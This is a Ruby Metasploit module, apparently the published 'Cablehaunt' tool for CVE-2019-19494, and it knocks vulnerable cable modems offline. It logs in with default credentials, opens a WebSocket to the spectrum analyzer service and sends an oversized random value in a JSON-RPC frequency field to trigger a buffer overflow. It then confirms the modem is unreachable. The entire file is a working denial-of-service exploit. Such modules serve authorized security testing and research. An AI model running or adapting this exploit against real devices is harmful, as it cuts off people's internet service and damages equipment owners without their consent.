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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'eventmachine'
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require 'faye/websocket'
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => '"Cablehaunt" Cable Modem WebSocket DoS',
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        'Description' => %q{
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          There exists a buffer overflow vulnerability in certain
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          Cable Modem Spectrum Analyzer interfaces.  This overflow
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          is exploitable, but since an exploit would differ between
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          every make, model, and firmware version (which also
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          differs from ISP to ISP), this module simply causes a
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          Denial of Service to test if the vulnerability is present.
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        },
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        'Author' => [
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          'Alexander Dalsgaard Krog (Lyrebirds)', # Original research, discovery, and PoC
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          'Jens Hegner Stærmose (Lyrebirds)', # Original research, discovery, and PoC
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          'Kasper Kohsel Terndrup (Lyrebirds)', # Original research, discovery, and PoC
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          'Simon Vandel Sillesen (Independent)', # Original research, discovery, and PoC
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          'Nicholas Starke' # msf module
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        ],
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        'References' => [
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          ['CVE', '2019-19494'],
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          ['EDB', '47936'],
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          ['URL', 'https://cablehaunt.com/'],
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          ['URL', 'https://github.com/Lyrebirds/sagemcom-fast-3890-exploit']
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        ],
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        'DisclosureDate' => '2020-01-07',
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        'License' => MSF_LICENSE,
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        'Notes' => {
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          'Stability' => [CRASH_SERVICE_DOWN],
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          'SideEffects' => [IOC_IN_LOGS],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RHOST('192.168.100.1'),
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        Opt::RPORT(8080),
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        OptString.new('WS_USERNAME', [true, 'WebSocket connection basic auth username', 'admin']),
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        OptString.new('WS_PASSWORD', [true, 'WebSocket connection basic auth password', 'password']),
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        OptInt.new('TIMEOUT', [true, 'Time to wait for response', 15])
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      ]
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    )
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    deregister_options('Proxies')
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    deregister_options('VHOST')
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    deregister_options('SSL')
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  end
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  def run
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri' => '/',
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      'authorization' => basic_auth(datastore['WS_USERNAME'], datastore['WS_PASSWORD'])
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    })
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    fail_with(Failure::Unreachable, 'Cannot Connect to Cable Modem Spectrum Analyzer Web Service') if res.nil?
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    fail_with(Failure::Unknown, 'Credentials were incorrect') if res.code != 200
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    @succeeded = false
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    EM.run do
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      print_status("Attempting Connection to #{datastore['RHOST']}")
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      driver = Faye::WebSocket::Client.new("ws://#{datastore['RHOST']}:#{datastore['RPORT']}/Frontend", ['rpc-frontend'])
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      driver.on :open do
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        print_status('Opened connection')
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        EM::Timer.new(1) do
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          print_status('Sending payload')
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          payload = Rex::Text.rand_text_alphanumeric(7000..8000)
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          driver.send({
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            jsonrpc: '2.0',
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            method: 'Frontend::GetFrontendSpectrumData',
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            params: {
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              coreID: 0,
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              fStartHz: payload,
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              fStopHz: 1000000000,
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              fftSize: 1024,
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              gain: 1
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            },
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            id: '0'
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          }.to_json)
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        rescue StandardError
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          fail_with(Failure::Unreachable, 'Could not establish websocket connection')
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        end
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      end
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      EM::Timer.new(10) do
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        print_status('Checking Modem Status')
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        begin
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          res = send_request_cgi({
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            'method' => 'GET',
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            'uri' => '/'
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          })
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          if res.nil?
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            @succeeded = true
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            print_status('Cable Modem unreachable')
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          else
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            fail_with(Failure::Unknown, 'Host still reachable')
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          end
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        rescue StandardError
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          @succeeded = true
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          print_status('Cable Modem unreachable')
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        end
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      end
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      EM::Timer.new(datastore['TIMEOUT']) do
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        EventMachine.stop
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        if @succeeded
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          print_good('Exploit delivered and cable modem unreachable.')
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        else
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          fail_with(Failure::Unknown, 'Unknown failure occurred')
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        end
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      end
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    end
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  end
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end
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